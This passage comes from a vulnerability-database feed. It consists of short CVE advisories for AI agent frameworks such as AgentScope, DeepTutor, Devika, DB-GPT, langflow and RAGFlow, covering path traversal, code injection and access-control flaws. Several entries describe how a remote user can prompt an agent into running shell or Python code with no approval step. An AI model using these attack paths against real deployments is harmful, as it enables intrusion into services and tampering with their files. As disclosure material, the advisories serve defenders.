`camel/toolkits/terminal_toolkit/terminal_toolkit.py:TerminalToolkit.shell_exec`\n**Reference:** https://github.com/camel-ai/camel/issues/4038\n\n## Description\n\nIn camel-ai camel 0.2.91a1, v0.2.91a2 and v0.2.91a3, TerminalToolkit.shell_exec allows prompt-driven shell command execution without an approval boundary.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:02:19.000000Z"}, {"uuid": "d7eed05b-056d-45b8-9fdd-dbc0533c2f75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51570", "type": "seen", "source": "https://gist.github.com/Ro1ME/c6a6857348472db85895b346ba818195", "content": "# CVE-2026-51570\n\n**Type:** Directory Traversal\n**Product:** AgentScope\n**Affected versions:** 1.0.18\u20131.0.19.post1\n**Affected component:** `src/agentscope/tool/_text_file/_write_text_file.py:insert_text_file`\n**Reference:** https://github.com/agentscope-ai/agentscope/issues/1508\n\n## Description\n\nagentscope 1.0.18, 1.0.19, and 1.0.19.post1 validated snapshots contains directory traversal in insert_text_file (src/agentscope/tool/_text_file/_write_text_file.py:12). A remote attacker can use the validated exploitation path to write files outside the intended workspace or storage boundary.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:01:46.000000Z"}, {"uuid": "13ac0eb8-ecbd-4860-a902-6a127ebdc5ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51870", "type": "seen", "source": "https://gist.github.com/Ro1ME/58b7e7523f517bc1241183ff988b6707", "content": "# CVE-2026-51870\n\n**Type:** Command Execution\n**Product:** DeepTutor\n**Affected versions:** v1.4.0\n**Affected component:** `deeptutor/tutorbot/agent/tools/shell.py:ExecTool.execute`\n**Reference:** https://github.com/HKUDS/DeepTutor/issues/506\n\n## Description\n\nDeepTutor v1.4.0 is vulnerable to command execution in /tutorbot/agent/tools/shell.py:ExecTool.execute.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:03:25.000000Z"}, {"uuid": "84c59f00-7aa4-4d0a-97f5-bbb578f333e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51873", "type": "seen", "source": "https://gist.github.com/Ro1ME/946b670dfefd594a123ed4527de34088", "content": "# CVE-2026-51873\n\n**Type:** Directory Traversal\n**Product:** Devika\n**Affected versions:** v1.0\n**Affected component:** `src/agents/coder/coder.py:Coder.save_code_to_project`\n**Reference:** https://github.com/stitionai/devika/issues/707\n\n## Description\n\nDevika v1.0 is vulnerable to Directory Traversal in the Coder.save_code_to_project function, which allows attackers to write files outside the intended project workspace.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:03:34.000000Z"}, {"uuid": "fad76c23-a07f-4bc3-bc70-f73572e9b569", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51886", "type": "seen", "source": "https://gist.github.com/Ro1ME/c11b1e63e4e8fca6b25275144f25ec2a", "content": "# CVE-2026-51886\n\n**Type:** Code Injection\n**Product:** langflow\n**Affected versions:** \u22641.9.3\n**Affected component:** `src/backend/base/langflow/api/v1/validate.py:post_validate_code`\n**Reference:** https://github.com/langflow-ai/langflow/issues/13336\n\n## Description\n\nA weakness has been identified in langflow-ai langflow up to 1.9.3. langflow contains a code injection vulnerability in validate-post_validate_code-a-real-authenticated-http-post-to-api-v1 (src/backend/base/langflow/api/v1/validate.py:13). An authenticated attacker can execute arbitrary Python code on the server by submitting malicious code to the /api/v1/validate/code endpoint, which directly executes user-supplied code without sandboxing or security controls.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:04:49.000000Z"}, {"uuid": "39254ccc-f496-4358-8cb5-a89b2761484b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51884", "type": "seen", "source": "https://gist.github.com/Ro1ME/da028c9ce13dd888e265b9bef01d6eca", "content": "# CVE-2026-51884\n\n**Type:** Directory Traversal\n**Product:** Langchain-Chatchat\n**Affected versions:** 0.3.1\n**Affected component:** `libs/chatchat-server/chatchat/server/chat/file_chat.py:file_chat-_parse_files_in_thread-a-full-service-post-knowledge-base-upload-temp`\n**Reference:** https://github.com/chatchat-space/Langchain-Chatchat/issues/5466\n\n## Description\n\nThe /knowledge_base/upload_temp_docs temporary document upload endpoint in Langchain Chatchat 0.3.1 is vulnerable to path traversal. By crafting malicious filenames, an attacker can write files to arbitrary locations on the server, bypassing the intended restrictions on the temporary directory.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:04:46.000000Z"}, {"uuid": "632396b5-26d0-4461-83b2-e4eeabde6594", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51883", "type": "seen", "source": "https://gist.github.com/Ro1ME/30f5139a2920bf7075299a33eb1690f2", "content": "# CVE-2026-51883\n\n**Type:** Directory Traversal\n**Product:** Langchain-Chatchat\n**Affected versions:** 0.3.0, 0.3.1\n**Reference:** https://github.com/chatchat-space/Langchain-Chatchat/issues/5467\n\n## Description\n\nThe knowledge base creation and document upload interfaces in Langchain-Chatchat 0.3.0;0.3.1 is vulnerable to path traversal. An attacker can inject path traversal sequences (such as `..\\`) into the `knowledge_base_name` parameter to write knowledge base content to arbitrary locations outside the configured knowledge base root directory.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:04:43.000000Z"}, {"uuid": "eeb364d6-e7ba-4022-adc4-ffc54a2f288d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51882", "type": "seen", "source": "https://gist.github.com/Ro1ME/f80ac458836b59adb9c6ceff3993f7f3", "content": "# CVE-2026-51882\n\n**Type:** Directory Traversal\n**Product:** Langchain-Chatchat\n**Affected versions:** 0.3.0\n**Affected component:** `libs/chatchat-server/chatchat/server/api_server/openai_routes.py:openai_routes-files-a-full-service-post-v1-files-request-with`\n**Reference:** https://github.com/chatchat-space/Langchain-Chatchat/issues/5468\n\n## Description\n\nThe OpenAI-compatible file upload endpoint `/v1/files` in Langchain-Chatchat 0.3.0 is vulnerable to path traversal. An attacker can write files to arbitrary locations outside the `openai_files` directory by crafting malicious filenames.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:04:40.000000Z"}, {"uuid": "80072ea2-39e7-4960-98b6-4c8f38b3ccb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51881", "type": "seen", "source": "https://gist.github.com/Ro1ME/77331f8ae45f617d33f7100c3f48cac5", "content": "# CVE-2026-51881\n\n**Type:** Code Injection\n**Product:** DeepTutor\n**Affected versions:** v1.4.0\n**Affected component:** `TutorBot shell tool: deeptutor/tutorbot/agent/tools/shell.py:ExecTool.execute`\n**Reference:** https://github.com/HKUDS/DeepTutor/issues/518\n\n## Description\n\ndeeptutor 1.4.0 contains code injection in ExecTool.execute. Through the live tutorbot WebSocket interface, a remote caller can induce the tool layer to execute reviewer-chosen shell commands in the service environment.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:04:24.000000Z"}, {"uuid": "6caf12e5-3c44-406f-b6af-761cb4bb64ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51860", "type": "seen", "source": "https://gist.github.com/Ro1ME/e4129afdd9af2ff1bdcecf27ec5098cf", "content": "# CVE-2026-51860\n\n**Type:** Directory Traversal\n**Product:** bisheng\n**Affected versions:** 2.3.0\u20132.4.0-beta1\n**Affected component:** `src/backend/bisheng/linsight/domain/task_exec.py:LinsightWorkflowTask._download_file`\n**Reference:** https://github.com/dataelement/bisheng/issues/1994\n\n## Description\n\nbisheng 2.3.0, 2.4.0, and 2.4.0-beta1 is vulnerable to Directory Traversal in src/backend/bisheng/linsight/domain/task_exec.py.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:02:27.000000Z"}, {"uuid": "27f8f506-70d6-4db6-9c63-45fd05a74d8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51859", "type": "seen", "source": "https://gist.github.com/Ro1ME/df160925a60dd917550f7c87bfe62519", "content": "# CVE-2026-51859\n\n**Type:** Directory Traversal\n**Product:** bisheng\n**Affected versions:** 2.3.0\u20132.4.0-beta1\n**Affected component:** `src/backend/bisheng/core/cache/utils.py:save_download_file`\n**Reference:** https://github.com/dataelement/bisheng/issues/1994\n\n## Description\n\nbisheng 2.3.0, 2.4.0, and 2.4.0-beta1 is vulnerable to directory traversal in save_download_file (src/backend/bisheng/core/cache/utils.py:290).\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:02:23.000000Z"}, {"uuid": "e1c12dd9-c6b8-4272-b887-67745fae7932", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51857", "type": "seen", "source": "https://gist.github.com/Ro1ME/78606e0763520d6519897e90b305d3cd", "content": "# CVE-2026-51857\n\n**Type:** Incorrect Access Control\n**Product:** camel-ai\n**Affected versions:** 0.2.91a1\u20130.2.91a3\n**Affected component:** `camel/interpreters/subprocess_interpreter.py:SubprocessInterpreter.run_file`\n**Reference:** https://github.com/camel-ai/camel/issues/4037\n\n## Description\n\nIn camel-ai camel 0.2.91a1, v0.2.91a2 and v0.2.91a3, CodeExecutionToolkit can run model-produced Python code through SubprocessInterpreter without an approval boundary.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:02:16.000000Z"}, {"uuid": "4477b6d5-69b7-4737-9bdd-2fe661ec9d23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51856", "type": "seen", "source": "https://gist.github.com/Ro1ME/c383f66d1fd6de40b6693f9b6cc181e7", "content": "# CVE-2026-51856\n\n**Type:** Incorrect Access Control\n**Product:** AgentScope\n**Affected versions:** 1.0.18\u20131.0.19\n**Affected component:** `src/agentscope/agent/_realtime_agent.py:RealtimeAgent._acting,\nsrc/agentscope/tool/_toolkit.py:Toolkit.call_tool_function,\nsrc/agentscope/tool/_coding/_python.py:execute_python_code`\n**Reference:** https://github.com/agentscope-ai/agentscope/issues/1563\n\n## Description\n\nIn agentscope 1.0.18, 1.0.19, and 1.0.19 when the RealtimeAgent session exposes execute_python_code as an available tool, a remote WebSocket user can prompt the agent to call that tool and run Python code in the service environment. In the validated path, RealtimeAgent._acting forwards the model-produced tool call to Toolkit.call_tool_function, which invokes execute_python_code without an additional approval or isolation boundary on that path.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:01:57.000000Z"}, {"uuid": "a544a267-36dd-412d-9dbd-54b73f80b115", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51871", "type": "seen", "source": "https://gist.github.com/Ro1ME/3067a5bd69dcd35ffc98dc41ca611242", "content": "# CVE-2026-51871\n\n**Type:** Code Injection\n**Product:** Devika\n**Affected versions:** v1.0\n**Affected component:** `src/agents/runner/runner.py:execute-a-real-socket-io-user-message-service-entry`\n**Reference:** https://github.com/stitionai/devika/issues/714\n\n## Description\n\nDevika v1.0 is vulnerable to Code Injection in the Runner.execute function in src/agents/runner/runner.py which allows an attacker to achieve arbitrary code execution by exploiting the direct execution of LLM-generated content.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:03:28.000000Z"}, {"uuid": "ea8763c3-9593-4dd2-9326-fc0abea2d369", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51869", "type": "seen", "source": "https://gist.github.com/Ro1ME/884fbbd589998b81fa05c20ac205569f", "content": "# CVE-2026-51869\n\n**Type:** Incorrect Access Control\n**Product:** DB-GPT\n**Affected versions:** 0.8.0\n**Affected component:** `packages/dbgpt-sandbox/src/dbgpt_sandbox/sandbox/execution_layer/runtime_factory.py:RuntimeFactory.create`\n**Reference:** https://github.com/eosphoros-ai/DB-GPT/issues/3082\n\n## Description\n\nDB-GPT v0.8.0 sandbox API silently falls back to LocalRuntime and executes code on host.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:03:21.000000Z"}, {"uuid": "78e50eca-8e9d-4ca6-a645-3fd371904faa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51867", "type": "seen", "source": "https://gist.github.com/Ro1ME/62547f81c244f273b66755dad63a8673", "content": "# CVE-2026-51867\n\n**Type:** Incorrect Access Control\n**Product:** AgentGPT\n**Affected versions:** v1.0.0\n**Affected component:** `next/src/server/api/routers/agentRouter.ts`\n**Reference:** http://agentgpt.com\n\n## Description\n\nagentgpt v.1.0.0 is vulnerable to Incorrect Access Control in next/src/server/api/routers/agentRouter.ts. An externally reachable path accepts a caller-selected object or tenant identifier and reaches a data-access operation without a visible owner, tenant, workspace, or membership binding on that object.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:02:51.000000Z"}, {"uuid": "b7d960d9-b317-4082-bd82-802c58eae2a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51866", "type": "seen", "source": "https://gist.github.com/Ro1ME/f8f5b730a4000684d3a92a67f82ee03c", "content": "# CVE-2026-51866\n\n**Type:** Code Execution\n**Product:** DB-GPT\n**Affected versions:** 0.7.5, 0.8.0\n**Affected component:** `packages/dbgpt-core/src/dbgpt/agent/skill/manage.py:SkillManager.execute_skill_script_file`\n**Reference:** https://github.com/eosphoros-ai/DB-GPT/issues/3047\n\n## Description\n\nIn DB-GPT 0.7.5 and 0.8.0, a skill uploaded through the real /api/v1/skills/upload route can later be executed through the real /api/v1/chat/react-agent flow.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:02:47.000000Z"}, {"uuid": "505668f9-0dec-4687-b37b-96dd5121d251", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51864", "type": "seen", "source": "https://gist.github.com/Ro1ME/164a2aff1229df650a5bcc2a039900c5", "content": "# CVE-2026-51864\n\n**Type:** Directory Traversal\n**Product:** DB-GPT\n**Affected versions:** 0.7.5, 0.8.0\n**Affected component:** `packages/dbgpt-app/src/dbgpt_app/openapi/api_v1/python_upload_api.py:python_file_upload`\n**Reference:** https://github.com/eosphoros-ai/DB-GPT/issues/3027\n\n## Description\n\nDB-GPT v0.7.5 and v0.8.0 contains directory traversal in python_file_upload (packages/dbgpt-app/src/dbgpt_app/openapi/api_v1/python_upload_api.py:42). A remote attacker can use the validated exploitation path to write files outside the intended workspace or storage boundary.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:02:43.000000Z"}, {"uuid": "9a3eefcc-f70f-44ec-b4c7-df6f40429c9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51874", "type": "seen", "source": "https://gist.github.com/Ro1ME/eb9e0cd66ee3c682a624650464d07302", "content": "# CVE-2026-51874\n\n**Type:** Directory Traversal\n**Product:** Devika\n**Affected versions:** v1.0\n**Affected component:** `src/agents/patcher/patcher.py:Patcher.save_code_to_project`\n**Reference:** https://github.com/stitionai/devika/issues/709\n\n## Description\n\nIn Devika v1.0, the Patcher Agent save_code_to_project function contains a path traversal vulnerability that allows attackers to write files outside the intended project workspace.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:03:37.000000Z"}, {"uuid": "aaf3a249-1e52-4524-9769-33536cc7e02f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51872", "type": "seen", "source": "https://gist.github.com/Ro1ME/e65de4e8107334a75dcc241c73ffdfb1", "content": "# CVE-2026-51872\n\n**Type:** Code Injection\n**Product:** Devika\n**Affected versions:** v1.0\n**Affected component:** `src/agents/runner/runner.py:run_code-a-real-socket-io-user-message-service-entry`\n**Reference:** https://github.com/stitionai/devika/issues/715\n\n## Description\n\nDevika v1.0 is vulnerable to Code Injection via the Runner.run_code function in src/agents/runner/runner.py.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:03:31.000000Z"}, {"uuid": "d45ac045-d48b-4c2a-ae42-35049c1fdbd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51853", "type": "seen", "source": "https://gist.github.com/Ro1ME/4fe09fc7f94c9c0b10c8b6198a70e920", "content": "# CVE-2026-51853\n\n**Type:** Directory Traversal\n**Product:** agent-zero\n**Affected versions:** 1.7, 1.8, 1.9, 1.10\n**Affected component:** `python/helpers/file_browser.py:FileBrowser.__init__`\n**Reference:** https://github.com/agent0ai/agent-zero/issues/1539\n\n## Description\n\nagent-zero 1.7, 1.8, 1.9, and 1.10 is vulnerable to Directory Traversal in python/helpers/file_browser.py:FileBrowser.__init__. The FileBrowser class initializes with the host root directory as the workspace, allowing the agent to access any file on the system without restriction.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:01:53.000000Z"}, {"uuid": "d2000301-81b8-4d59-9c44-13ce2e5736f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51852", "type": "seen", "source": "https://gist.github.com/Ro1ME/13af0869833757245685d2d390458664", "content": "# CVE-2026-51852\n\n**Type:** Directory Traversal\n**Product:** agent-zero\n**Affected versions:** 1.7, 1.8, 1.9, 1.10\n**Affected component:** `python/helpers/file_browser.py:FileBrowser.save_file_b64`\n**Reference:** https://github.com/agent0ai/agent-zero/issues/1540\n\n## Description\n\nagent-zero 1.7, 1.8, 1.9, and 1.10 is vulnerable to Directory Traversal in python/helpers/file_browser.py:FileBrowser.save_file_b64. The save_file_b64 method accepts user-controlled file paths without normalization or validation, allowing path traversal attacks.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:01:49.000000Z"}, {"uuid": "ef3c8ce6-02cf-4cc6-9550-c4e976c56083", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51568", "type": "seen", "source": "https://gist.github.com/Ro1ME/6f26878766be5712ed504857c54492d7", "content": "# CVE-2026-51568\n\n**Type:** Directory Traversal\n**Product:** AgentScope\n**Affected versions:** 1.0.18\u20131.0.19.post1\n**Affected component:** `src/agentscope/tool/_text_file/_write_text_file.py:write_text_file`\n**Reference:** https://github.com/agentscope-ai/agentscope/issues/1508\n\n## Description\n\nagentscope 1.0.18, 1.0.19, and 1.0.19.post1 validated snapshots contains directory traversal in write_text_file (src/agentscope/tool/_text_file/_write_text_file.py:108). A remote attacker can use the validated exploitation path to write files outside the intended workspace or storage boundary.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:01:43.000000Z"}, {"uuid": "6558fd1a-1580-4b06-b502-7ef496b6a63a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51863", "type": "seen", "source": "https://gist.github.com/Ro1ME/8be4e1bad6c9d7a777ec7638b1192dee", "content": "# CVE-2026-51863\n\n**Type:** Directory Traversal\n**Product:** DB-GPT\n**Affected versions:** 0.7.5, 0.8.0\n**Affected component:** `packages/dbgpt-app/src/dbgpt_app/openapi/api_v1/examples_api.py:use_example_file`\n**Reference:** https://github.com/eosphoros-ai/DB-GPT/issues/3028\n\n## Description\n\nDB-GPT v0.7.5 and 0.8.0 contains directory traversal in use_example_file (packages/dbgpt-app/src/dbgpt_app/openapi/api_v1/examples_api.py:129). A remote attacker can use the validated exploitation path to write files outside the intended workspace or storage boundary.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:02:39.000000Z"}, {"uuid": "376a80cb-a563-4ada-a7c0-5d14d61118bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51862", "type": "seen", "source": "https://gist.github.com/Ro1ME/c09e6aca2e9c7280ca4fabb1f44dcd2a", "content": "# CVE-2026-51862\n\n**Type:** Directory Traversal\n**Product:** DB-GPT\n**Affected versions:** 0.8.0\n**Affected component:** `packages/dbgpt-app/src/dbgpt_app/openapi/api_v1/agentic_data_api.py:skill_upload`\n**Reference:** https://github.com/eosphoros-ai/DB-GPT/issues/3026\n\n## Description\n\nDB-GPT 0.8.0 contains directory traversal in skill_upload (packages/dbgpt-app/src/dbgpt_app/openapi/api_v1/agentic_data_api.py:40). A remote attacker can use the validated exploitation path to write files outside the intended workspace or storage boundary.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:02:35.000000Z"}, {"uuid": "90aae463-c3e0-49f9-8ba2-6640c487853a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51880", "type": "seen", "source": "https://gist.github.com/Ro1ME/b5ea6ac856a593e1d20042eb72c00fae", "content": "# CVE-2026-51880\n\n**Type:** Directory Traversal\n**Product:** DeepTutor\n**Affected versions:** v1.4.0\n**Affected component:** `TutorBot filesystem tool: deeptutor/tutorbot/agent/tools/filesystem.py:EditFileTool.execute`\n**Reference:** https://github.com/HKUDS/DeepTutor/issues/517\n\n## Description\n\ndeeptutor 1.4.0 contains a path traversal issue in EditFileTool.execute. Through the live tutorbot WebSocket interface, a remote caller can induce the tool layer to write or edit absolute paths outside the intended bot workspace.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:04:21.000000Z"}, {"uuid": "8ef870c8-edc0-48ff-b530-589996fff661", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51879", "type": "seen", "source": "https://gist.github.com/Ro1ME/ae1933a56ec31eccd2947fa64c1390e1", "content": "# CVE-2026-51879\n\n**Type:** Incorrect Access Control\n**Product:** DeepTutor\n**Affected versions:** v1.4.0\n**Affected component:** `TutorBot file management flow: deeptutor/services/tutorbot/manager.py:TutorBotManager.write_bot_file`\n**Reference:** https://github.com/HKUDS/DeepTutor/issues/516\n\n## Description\n\ndeeptutor 1.4.0 contains an authorization bypass through a user-controlled object identifier in TutorBotManager.write_bot_file. A remote caller can enumerate bot IDs and overwrite another bot's whitelisted control files through the HTTP tutorbot file route.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:04:18.000000Z"}, {"uuid": "43e191c1-e2ee-4fa7-97cb-8283aeba2328", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51878", "type": "seen", "source": "https://gist.github.com/Ro1ME/8f6e32ba67d184e64e80f243c6625f3a", "content": "# CVE-2026-51878\n\n**Type:** Incorrect Access Control\n**Product:** DeepTutor\n**Affected versions:** v1.4.0\n**Affected component:** `Session regeneration flow: deeptutor/services/session/turn_runtime.py:TurnRuntimeManager.regenerate_last_turn`\n**Reference:** https://github.com/HKUDS/DeepTutor/issues/515\n\n## Description\n\ndeeptutor 1.4.0 contains an authorization bypass through a user-controlled object identifier in TurnRuntimeManager.regenerate_last_turn. A remote caller can enumerate or obtain a session_id and trigger regenerate on another user's session.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:04:15.000000Z"}, {"uuid": "f849c887-c655-4ed3-b61a-350bc06aa334", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51876", "type": "seen", "source": "https://gist.github.com/Ro1ME/c5685936179edcbf942f3fdd745d1473", "content": "# CVE-2026-51876\n\n**Type:** Incorrect Access Control\n**Product:** DeepTutor\n**Affected versions:** v1.4.0\n**Affected component:** `Book confirmation and persistence flow: deeptutor/book/storage.py:_atomic_write_text`\n**Reference:** https://github.com/HKUDS/DeepTutor/issues/514\n\n## Description\n\nDeepTutor 1.4.0 contains an authorization bypass vulnerability in the book confirmation flow. An unauthenticated or unauthorized caller can reuse a publicly exposed book_id to submit a confirm-proposal request for an existing book, causing unauthorized overwrites of persisted metadata and spine content.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:04:12.000000Z"}, {"uuid": "f907d669-4e0c-484f-9d0b-b8f083edbab0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51875", "type": "seen", "source": "https://gist.github.com/Ro1ME/f667dcf8c3f4852900fa7811944f0f3f", "content": "# CVE-2026-51875\n\n**Type:** Directory Traversal\n**Product:** Devika\n**Affected versions:** v1.0\n**Affected component:** `src/agents/feature/feature.py:Feature.save_code_to_project`\n**Reference:** https://github.com/stitionai/devika/issues/707\n\n## Description\n\nIn Devika v1.0, the Feature Agent save_code_to_project function contains a path traversal vulnerability that allows attackers to write files outside the intended project workspace, potentially compromising the entire server.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:04:09.000000Z"}, {"uuid": "e9a99260-1597-453a-88ec-9389e1debb8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51896", "type": "seen", "source": "https://gist.github.com/Ro1ME/3d0bf02f4a51f90c923d37596cc1ac82", "content": "# CVE-2026-51896\n\n**Type:** Incorrect Access Control\n**Product:** RAGFlow\n**Affected versions:** 0.25.3\n**Affected component:** `api/apps/connector_app.py:resume`\n**Reference:** https://github.com/infiniflow/ragflow/issues/15269\n\n## Description\n\ninfiniflow ragflow 0.25.3 contains improper access control in resume (api/apps/connector_app.py). Depending on the exposed entry, an attacker can perform unauthorized cross-session or privilege-crossing operations.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:05:19.000000Z"}, {"uuid": "38096d28-0fbf-4e30-b4b3-531ead1162dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51895", "type": "seen", "source": "https://gist.github.com/Ro1ME/0d1fbed64fa0d73d159a195a827cdb93", "content": "# CVE-2026-51895\n\n**Type:** Incorrect Access Control\n**Product:** RAGFlow\n**Affected versions:** \u22640.24.0\n**Affected component:** `api/apps/kb_app.py:update_metadata_setting`\n**Reference:** https://github.com/infiniflow/ragflow/issues/15268\n\n## Description\n\nRagflow 0.24.0 and prior contains improper access control in update_metadata_setting (api/apps/kb_app.py). Depending on the exposed entry, an attacker can perform unauthorized cross-session or privilege-crossing operations.\n\n## Discoverer\n\nRo1ME\n", "creation_timestamp": "2026-09-26T04:05:16.000000Z"}, {"uuid": "7c2e796a-5434-4a0a-bc76-cd484607e72d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51894", "type": "seen", "source": "https://gist.github.com/Ro1ME/d4d9d2514afd7e58ef4c0f5c1b27372c", "content": "# CVE-2026-51894\n\n**Type:** Incorrect Access Control\n**Product:** RAGFlow\n**Affected versions:** 0.24.0\n**Affected component:** `api/apps/kb_app.py:run_mindmap`\n**Reference:** http://infiniflow.com\n**Reference:** http://ragflow.com\n\n## Description\n\ninfiniflow ragflow 0.24.0 is vulnerable to Incorrect Access Control via run_mindmap. A reachable path accepts a caller-selected object or tenant identifier and reaches a data-access operation without a visible owner, tenant, workspace, or membership binding on that object.\n\n## 